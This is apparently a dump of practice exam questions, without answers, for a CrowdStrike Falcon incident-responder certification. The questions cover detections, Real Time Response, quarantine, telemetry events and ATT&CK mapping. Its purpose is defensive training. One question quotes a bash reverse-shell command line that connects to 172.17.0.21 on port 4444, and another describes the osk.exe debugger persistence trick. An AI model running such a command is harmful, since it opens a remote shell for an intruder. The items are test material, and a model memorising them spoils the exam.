What must be true about a custom script before it can be executed from within a Fusion SOAR Workflow?
During the incident response process, a responder must update the status of a detection. Which of the following options is NOT a valid detection status recognized by the Falcon console?
If a local administrator needs to inspect the quarantine directory directly on a machine, where are quarantine files located on a Windows Endpoint?
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?
A responder wants to include a visual representation of a process tree in an incident report. Which of the following is NOT a valid way to export process data from ' Full Detection Details ' ?
During a targeted investigation into a potentially compromised internal administrative account, a responder utilizes the User Search functionality within the Investigate menu. The goal is to identify if the account was leveraged to drop or launch unauthorized binaries across multiple systems in the environment. Which specific data category is natively visible in the User Search results to facilitate this check?
An analyst notices a detection that has been automatically flagged with the ' New Activity ' status. Which of the following statements best describes what this status indicates?
You are writing a script that your colleagues could run on any Windows machine using Real Time Response (RTR). The script you have written is over the 40-KB limit.
How should you run the script to avoid technical issues?
In the Falcon console, detections can be automated or manual. Which of the following options represents a manual detection?
What happens when a quarantined file is released?
When using ' User Search ' to investigate a potentially compromised account, which of the following is NOT a filter available in the User Search?
When navigating the main ' Detections ' page, several filters are available in the dropdown menu. Which of the following is NOT a filter available in this menu?
Responders often need to organize detections to identify trends across the environment. Which of the following is NOT a grouping option currently available on the ' Endpoint Detections ' page?
What is an advantage of using a Process Timeline?
How does a DNSRequest event link to its responsible process?
Host Search is a powerful investigation tool. From which of the following sources is a responder most likely to pivot directly to a Host Search?
A responder needs to view a high-level overview of the environment ' s security posture. Where can they find the ' Activity Dashboard ' ?
Filtering the ' Detection Activity ' report is useful for identifying specific threats. Which of the following filters can not be used on ' Detection Activity ' ?
What types of events are returned by a Process Timeline?
In the Hash Search tool, which of the following is listed under Process Executions?
An attacker attaches cmd.exe as a debugger to osk.exe through a registry key.
What tactic and technique describe this activity?
Which of the following statements about the ' Detection Activity ' report is FALSE?
A responder is looking at event telemetry and sees an event named ' ProcessRollup2 ' . Which sentence best describes what this event type represents?
Which specific event type in the Falcon telemetry is associated with the creation of a new ' TargetProcessId_decimal ' ?
Which statement is TRUE regarding the " Bulk Domains " search?
When viewing the summary list on the ' Endpoint Detections ' page, an analyst sees a column for the timestamp. What does the timestamp in this specific summary view represent?
While reviewing the ' Detection Method ' field for a high-severity alert, a responder sees the label ' Post-Exploit ' . This terminology is used by CrowdStrike to identify a specific:
Which of the following sentences best describes the technical visibility provided by the ' Host Timeline ' view?
When examining a raw DNS request event, you see a field called ContextProcessld_decimal. What is the purpose of that field?
To understand how a threat moved on a system, a responder must know the role of common processes. Which of the following statements best describes the standard functionality of explorer.exe?
A responder is explaining the quarantine process to a system administrator. What happens technically when a file is quarantined by the Falcon sensor?
A responder is analyzing a process tree where a suspicious executable is listed as a direct child of services.exe. In this scenario, which source is most likely responsible for the execution?
Which of the following is returned from the IP Search tool?
Which of the following sentences best describes the primary use of the ' Hash Executions ' Search (Bulk Search)?
You notice that taskeng.exe is one of the processes involved in a detection. What activity should you investigate next?
An analyst needs to quickly view the activity surrounding a suspicious process. Which of the following sequences of steps will pivot to an auto-filled process timeline in the Falcon UI?
The MITRE-Based Falcon Detections Framework is a core component of the Falcon UI. What is the primary operational advantage provided by this framework to a Tier 1 responder?
A responder needs to find a specific sequence of network connections that did not trigger a detection. Which search tool allows them to search for anything within the raw telemetry?
Multiple detections with the process schtasks.exe begin to alert in the UI. The process executes the following command line on several unique hosts:
schtasks.exe /Query /TN " Qljsscdqr "
What is the most efficient way to identify which hosts are executing this scheduled task?
Refer to the image.
You receive the detection displayed in the image above on a host in your environment.
Assuming you have the correct permissions, where would you navigate to remotely connect to the host and investigate further?
When reviewing CrowdScore Incidents, which of the following statements is INCORRECT?
A list of managed and unmanaged neighbors for an endpoint can be found:
What actions are available for domain name-based Indicators of Compromise (IOCs) in Falcon?
When reviewing open detections, what method should be used to identify the most relevant related information in the environment?
In the ' User Search - File Written ' section, a responder can see various files dropped by a user. Which of the following file types CANNOT be seen from this view?
What is an advantage of using the IP Search tool?
You have a folder with the path C:\Windows\BadTools.
Using native Real Time Response (RTR) commands, what is the correct syntax to remove the folder and all of its contents?
In the Falcon Overwatch Best Practice workflow, at what specific point is a responder encouraged to utilize OSINT (Open Source Intelligence) searches?
To maintain a logical flow during an incident post-mortem, CrowdStrike recommends describing adversary activity using a specific three-part sentence structure. Which combination best completes this sentence: " The adversary was trying to [1], by [2] , using [3] " ?
You are notified by a third-party that a program may have redirected traffic to a malicious domain. Which Falcon page will assist you in searching for any domain request information related to this notice?
Bulk Search tools have several features in common. Which of the following is incorrect as a feature common to all Bulk Search types?
CrowdStrike supports various deployment types. What is a ' POD sensor ' ?
If the Falcon sensor identifies suspicious behavioral patterns—such as a process attempting to dump memory from lsass.exe—what specific type of detection will be generated?
Following a detection involving a suspected ransomware binary, the Falcon sensor automatically takes a prevention action to prevent the file from executing. An analyst needs to retrieve this file for local sandbox analysis. Considering the default configuration, for how many days will this file remain stored in the encrypted quarantine folder on the local endpoint?
When navigating the ' Custom IOA ' creation wizard, a user must select a rule type. Which of the following is NOT a valid IOA rule type available for selection?
When investigating system-level persistence, it is critical to know what the services.exe process is responsible for. What is its primary function?
Which tool or search type is recommended as the " best search " to use when performing the " Examine what ' s normal for this system " step in an investigation?
What happens when a hash is set to Always Block through IOC Management?
Your lead analyst instructs you to dump the kernel memory of a Windows system using Real Time Response (RTR).
Which native RTR command best helps you to quickly achieve the task?
The Falcon console integrates heavily with the MITRE ATT AND CK framework to provide industry-standard context. Which of the following tactics displayed in the detection UI is a direct implementation of a MITRE ATT AND CK tactic?
When reviewing a Host Timeline, which of the following filters is available?
Copyright © 2021-2026 CertsTopics. All Rights Reserved
